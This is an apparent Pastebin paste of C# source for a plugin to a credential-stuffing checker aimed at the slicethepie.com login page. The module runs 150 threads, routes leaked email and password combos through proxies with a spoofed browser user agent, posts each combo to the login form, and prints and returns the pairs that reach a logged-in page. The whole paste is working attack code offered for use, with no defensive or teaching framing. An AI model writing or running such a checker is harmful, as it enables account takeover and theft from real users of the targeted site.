Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using Plugins;
- using System.Text.RegularExpressions;
- using RestSharp;
- using System.Net;
- namespace Modules
- {
- public class SliceThePie : Plugin
- {
- public int Threading => 150;
- public string Site()
- {
- return "SliceThePie";
- }
- public string ComboType()
- {
- return "Email";
- }
- public bool Proxies()
- {
- return true;
- }
- private static string CaptureBetweenString(string fullText, string leftString, string rightString,
- bool removeLeftRight)
- {
- if (removeLeftRight)
- {
- return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString()
- .Replace(leftString, "").Replace(rightString, "");
- }
- return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString();
- }
- public string run(string username, string password, string proxy)
- {
- try
- {
- var client = new RestClient("https://www.slicethepie.com/login")
- {
- CookieContainer = new CookieContainer(),
- UserAgent =
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
- Proxy = new WebProxy(proxy)
- };
- var request = new RestRequest(Method.GET);
- var exec = client.Execute(request);
- request.AddHeader("Referer", "https://www.slicethepie.com/login");
- request.Method = Method.POST;
- request.AddParameter("application/x-www-form-urlencoded",
- $"_token=&location%5Blatitude%5D=&location%5Blongitude%5D=&email={username}&password={password}",
- ParameterType.RequestBody);
- exec = client.Execute(request);
- if (exec.Content.Contains(
- ">Log out<")
- )
- {
- Console.WriteLine("-------------------------");
- Console.WriteLine("Username: " + username);
- Console.WriteLine("Password: " + password);
- Console.WriteLine("-------------------------");
- return $"{username}:{password}";
- }
- return "Failed";
- }
- catch
- {
- return "Failed";
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement